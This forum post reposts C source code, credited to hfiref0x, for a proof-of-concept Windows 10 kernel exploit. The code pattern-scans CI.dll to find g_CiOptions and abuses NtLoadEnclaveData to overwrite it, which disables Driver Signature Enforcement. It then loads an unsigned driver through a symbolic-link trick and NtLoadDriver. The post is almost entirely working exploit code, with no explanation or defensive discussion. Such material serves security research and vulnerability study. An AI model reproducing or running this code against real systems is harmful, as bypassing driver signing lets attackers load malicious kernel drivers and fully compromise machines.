Nytro Posted July 20, 2017 Report Posted July 20, 2017 #include "global.h" HINSTANCE g_hInstance; HANDLE g_ConOut = NULL; BOOL g_ConsoleOutput = FALSE; WCHAR g_BE = 0xFEFF; RTL_OSVERSIONINFOW g_osv; #define CI_DLL "ci.dll" #define T_PROGRAMTITLE TEXT("NtLoadEnclaveData write to address Demo") #define T_PROGRAMUNSUP TEXT("Unsupported WinNT version\r\n") #define T_PROGRAMRUN TEXT("Another instance running, close it before\r\n") #define T_PROGRAMINTRO TEXT("NtLoadEnclaveData demo started\r\n(c) 2017 Project Authors\r\nSupported x64 OS : 10 RS3\r\n") #define DUMMYDRVREG L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\DummyDrv" NTSTATUS NativeAdjustPrivileges( _In_ ULONG Privilege ) { NTSTATUS Status; HANDLE TokenHandle; LUID Luid; TOKEN_PRIVILEGES TokenPrivileges; Luid.LowPart = Privilege; Luid.HighPart = 0; TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[0].Luid = Luid; TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Status = NtOpenProcessToken( NtCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle); if (NT_SUCCESS(Status)) { Status = NtAdjustPrivilegesToken( TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, NULL); NtClose(TokenHandle); } if (Status == STATUS_NOT_ALL_ASSIGNED) Status = STATUS_PRIVILEGE_NOT_HELD; return Status; } NTSTATUS NativeLoadDriver( _In_ PWSTR DrvFullPath, _In_ PWSTR KeyName, _In_opt_ PWSTR DisplayName, _In_ BOOL ReloadDrv ) { UNICODE_STRING ValueName, drvName; OBJECT_ATTRIBUTES attr; HANDLE hDrvKey; ULONG data, dataSize = 0; NTSTATUS ns = STATUS_UNSUCCESSFUL; hDrvKey = NULL; __try { if (!ARGUMENT_PRESENT(KeyName)) { ns = STATUS_OBJECT_NAME_NOT_FOUND; __leave; } RtlInitUnicodeString(&drvName, KeyName); InitializeObjectAttributes(&attr, &drvName, OBJ_CASE_INSENSITIVE, 0, NULL); ns = NtCreateKey(&hDrvKey, KEY_ALL_ACCESS, &attr, 0, NULL, REG_OPTION_NON_VOLATILE, NULL); if (!NT_SUCCESS(ns)) { __leave; } if (ARGUMENT_PRESENT(DrvFullPath)) { RtlInitUnicodeString(&ValueName, L"ImagePath"); dataSize = (ULONG)(1 + _strlen(DrvFullPath)) * sizeof(WCHAR); ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_EXPAND_SZ, (PVOID)DrvFullPath, dataSize); if (!NT_SUCCESS(ns)) { __leave; } } data = 1; RtlInitUnicodeString(&ValueName, L"Type"); ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_DWORD, (PVOID)&data, sizeof(DWORD)); if (!NT_SUCCESS(ns)) { __leave; } data = 3; RtlInitUnicodeString(&ValueName, L"Start"); ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_DWORD, (PVOID)&data, sizeof(DWORD)); if (!NT_SUCCESS(ns)) { __leave; } data = SERVICE_ERROR_NORMAL; RtlInitUnicodeString(&ValueName, L"ErrorControl"); ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_DWORD, (PVOID)&data, sizeof(DWORD)); if (!NT_SUCCESS(ns)) { __leave; } if (ARGUMENT_PRESENT(DisplayName)) { RtlInitUnicodeString(&ValueName, L"DisplayName"); dataSize = (ULONG)(1 + _strlen(DisplayName)) * sizeof(WCHAR); ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_SZ, DisplayName, dataSize); if (!NT_SUCCESS(ns)) { __leave; } } NtClose(hDrvKey); hDrvKey = NULL; ns = NtLoadDriver(&drvName); if (ns == STATUS_IMAGE_ALREADY_LOADED) { if (ReloadDrv == TRUE) { NtUnloadDriver(&drvName); //unload previous driver version NtYieldExecution(); ns = NtLoadDriver(&drvName); } else { ns = STATUS_SUCCESS; } } } __finally { if (hDrvKey != NULL) { NtClose(hDrvKey); } } return ns; } LONG QueryCiOptions( _In_ PVOID MappedBase, _Inout_ ULONG_PTR *KernelBase ) { PBYTE CiInitialize = NULL; ULONG c, j = 0; LONG rel = 0; hde64s hs; CiInitialize = (PBYTE)GetProcAddress(MappedBase, "CiInitialize"); if (CiInitialize == NULL) return 0; if (g_osv.dwBuildNumber > 16199) { c = 0; j = 0; do { /* call CipInitialize */ if (CiInitialize[c] == 0xE8) j++; if (j > 1) { rel = *(PLONG)(CiInitialize + c + 1); break; } hde64_disasm(CiInitialize + c, &hs); if (hs.flags & F_ERROR) break; c += hs.len; } while (c < 256); } else { c = 0; do { /* jmp CipInitialize */ if (CiInitialize[c] == 0xE9) { rel = *(PLONG)(CiInitialize + c + 1); break; } hde64_disasm(CiInitialize + c, &hs); if (hs.flags & F_ERROR) break; c += hs.len; } while (c < 256); } CiInitialize = CiInitialize + c + 5 + rel; c = 0; do { if (*(PUSHORT)(CiInitialize + c) == 0x0d89) { rel = *(PLONG)(CiInitialize + c + 2); break; } hde64_disasm(CiInitialize + c, &hs); if (hs.flags & F_ERROR) break; c += hs.len; } while (c < 256); CiInitialize = CiInitialize + c + 6 + rel; *KernelBase = *KernelBase + CiInitialize - (PBYTE)MappedBase; return rel; } ULONG_PTR QueryVariableAddress( VOID ) { LONG rel = 0; ULONG_PTR Result = 0, ModuleKernelBase = 0; CHAR *szModuleName; WCHAR *wszErrorEvent, *wszSuccessEvent; PVOID MappedBase = NULL; CHAR szFullModuleName[MAX_PATH * 2]; szModuleName = CI_DLL; wszErrorEvent = TEXT("Ldr: CI.dll loaded image base not recognized"); wszSuccessEvent = TEXT("Ldr: CI.dll loaded for pattern search"); ModuleKernelBase = supGetModuleBaseByName(szModuleName); if (ModuleKernelBase == 0) { cuiPrintText(g_ConOut, wszErrorEvent, g_ConsoleOutput, TRUE); return 0; } szFullModuleName[0] = 0; if (!GetSystemDirectoryA(szFullModuleName, MAX_PATH)) return 0; _strcat_a(szFullModuleName, "\\"); _strcat_a(szFullModuleName, szModuleName); // _strcpy(szFullModuleName, "C:\\malware\\ci.dll"); MappedBase = LoadLibraryExA(szFullModuleName, NULL, DONT_RESOLVE_DLL_REFERENCES); if (MappedBase) { cuiPrintText(g_ConOut, wszSuccessEvent, g_ConsoleOutput, TRUE); rel = QueryCiOptions( MappedBase, &ModuleKernelBase); if (rel != 0) { Result = ModuleKernelBase; } FreeLibrary(MappedBase); } else { wszErrorEvent = TEXT("Ldr: Cannot load CI.dll"); cuiPrintText(g_ConOut, wszErrorEvent, g_ConsoleOutput, TRUE); } return Result; } VOID LoadDriver() { NTSTATUS Status; HANDLE Link = NULL; UNICODE_STRING str, drvname; OBJECT_ATTRIBUTES Obja; WCHAR szBuffer[MAX_PATH + 1]; Status = NativeAdjustPrivileges(SE_LOAD_DRIVER_PRIVILEGE); if (!NT_SUCCESS(Status)) { RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer)); _strcpy(szBuffer, TEXT("Ldr: NativeAdjustPrivileges result = 0x")); ultohex(Status, _strend(szBuffer)); cuiPrintText(g_ConOut, szBuffer, g_ConsoleOutput, TRUE); return; } _strcpy(szBuffer, L"\\??\\"); _strcat(szBuffer, NtCurrentPeb()->ProcessParameters->CurrentDirectory.DosPath.Buffer); _strcat(szBuffer, L"dummy.sys"); RtlInitUnicodeString(&str, L"\\*"); RtlInitUnicodeString(&drvname, szBuffer); InitializeObjectAttributes(&Obja, &str, OBJ_CASE_INSENSITIVE, 0, NULL); Status = NtCreateSymbolicLinkObject(&Link, SYMBOLIC_LINK_ALL_ACCESS, &Obja, &drvname); if (!NT_SUCCESS(Status)) { RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer)); _strcpy(szBuffer, TEXT("Ldr: NtCreateSymbolicLinkObject result = 0x")); ultohex(Status, _strend(szBuffer)); cuiPrintText(g_ConOut, szBuffer, g_ConsoleOutput, TRUE); } else { Status = NativeLoadDriver(L"\\*", DUMMYDRVREG, NULL, TRUE); RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer)); _strcpy(szBuffer, TEXT("Ldr: NativeLoadDriver result = 0x")); ultohex(Status, _strend(szBuffer)); cuiPrintText(g_ConOut, szBuffer, g_ConsoleOutput, TRUE); if (Link) NtClose(Link); } } typedef NTSTATUS(NTAPI *pfnNtLoadEnclaveData)( ULONG_PTR Param1, ULONG_PTR Param2, ULONG_PTR Param3, ULONG_PTR Param4, ULONG_PTR Param5, ULONG_PTR Param6, ULONG_PTR Param7, ULONG_PTR Param8, ULONG_PTR Param9 ); pfnNtLoadEnclaveData NtLoadEnclaveData; UINT NtLoadEnclaveDataDemo() { NTSTATUS Status = STATUS_SUCCESS; HMODULE hNtdll; ULONG_PTR g_CiOptions = 0; WCHAR *wszErrorEvent; WCHAR szBuffer[MAX_PATH]; g_CiOptions = QueryVariableAddress(); if (g_CiOptions != 0) { _strcpy(szBuffer, TEXT("Ldr: CI.dll->g_CiOptions found at 0x")); u64tohex(g_CiOptions, _strend(szBuffer)); cuiPrintText(g_ConOut, szBuffer, g_ConsoleOutput, TRUE); } else { wszErrorEvent = TEXT("Ldr: CI.dll->g_CiOptions address not found."); cuiPrintText(g_ConOut, wszErrorEvent, g_ConsoleOutput, TRUE); return 0; } hNtdll = GetModuleHandle(TEXT("ntdll.dll")); if (hNtdll) { NtLoadEnclaveData = (pfnNtLoadEnclaveData)GetProcAddress(hNtdll, "NtLoadEnclaveData"); if (NtLoadEnclaveData) { Status = NtLoadEnclaveData(0x00007FFFFFFFFFFF, 0x00007FFFFFFFFFFE, 0x00007FFFFFFEFFFE, 0x000000000000FFFF, 0x00007FFFFFFEFFFE, 0x00007FFFFFFFFFFF, 0xFFFF800000000000, 0x000000000000FFFF, g_CiOptions); RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer)); _strcpy(szBuffer, TEXT("Ldr: NtLoadEnclaveData returned with status = 0x")); ultohex((ULONG)Status, _strend(szBuffer)); cuiPrintText(g_ConOut, szBuffer, g_ConsoleOutput, TRUE); if (Status == STATUS_ACCESS_VIOLATION) { _strcpy(szBuffer, TEXT("Ldr: Attempt to load unsigned demo driver")); cuiPrintText(g_ConOut, szBuffer, g_ConsoleOutput, TRUE); LoadDriver(); } } else { wszErrorEvent = TEXT("Ldr: NtLoadEnclaveData procedure not found."); cuiPrintText(g_ConOut, wszErrorEvent, g_ConsoleOutput, TRUE); } } return (UINT)Status; } void DSEFixMain() { BOOL bCond = FALSE; UINT uResult = 0; DWORD dwTemp; WCHAR text[256]; __security_init_cookie(); do { g_hInstance = GetModuleHandle(NULL); g_ConOut = GetStdHandle(STD_OUTPUT_HANDLE); if (g_ConOut == INVALID_HANDLE_VALUE) { uResult = (UINT)-1; break; } g_ConsoleOutput = TRUE; if (!GetConsoleMode(g_ConOut, &dwTemp)) { g_ConsoleOutput = FALSE; } SetConsoleTitle(T_PROGRAMTITLE); SetConsoleMode(g_ConOut, ENABLE_LINE_INPUT | ENABLE_ECHO_INPUT | ENABLE_PROCESSED_OUTPUT); if (g_ConsoleOutput == FALSE) { WriteFile(g_ConOut, &g_BE, sizeof(WCHAR), &dwTemp, NULL); } cuiPrintText(g_ConOut, T_PROGRAMINTRO, g_ConsoleOutput, TRUE); RtlSecureZeroMemory(&g_osv, sizeof(g_osv)); g_osv.dwOSVersionInfoSize = sizeof(g_osv); RtlGetVersion((PRTL_OSVERSIONINFOW)&g_osv); #ifndef _DEBUG if ((g_osv.dwBuildNumber < 16199) || (g_osv.dwBuildNumber > 16241)) { cuiPrintText(g_ConOut, T_PROGRAMUNSUP, g_ConsoleOutput, TRUE); uResult = (UINT)-1; break; } #endif _strcpy(text, TEXT("Ldr: Windows v")); ultostr(g_osv.dwMajorVersion, _strend(text)); _strcat(text, TEXT(".")); ultostr(g_osv.dwMinorVersion, _strend(text)); _strcat(text, TEXT(" build ")); ultostr(g_osv.dwBuildNumber, _strend(text)); cuiPrintText(g_ConOut, text, g_ConsoleOutput, TRUE); uResult = NtLoadEnclaveDataDemo(); cuiPrintText(g_ConOut, TEXT("Ldr: Exit"), g_ConsoleOutput, TRUE); } while (bCond); ExitProcess(uResult); } hfiref0x Sursa: https://gist.github.com/hfiref0x/1ac328a8e73d053012e02955d38e36a8 Quote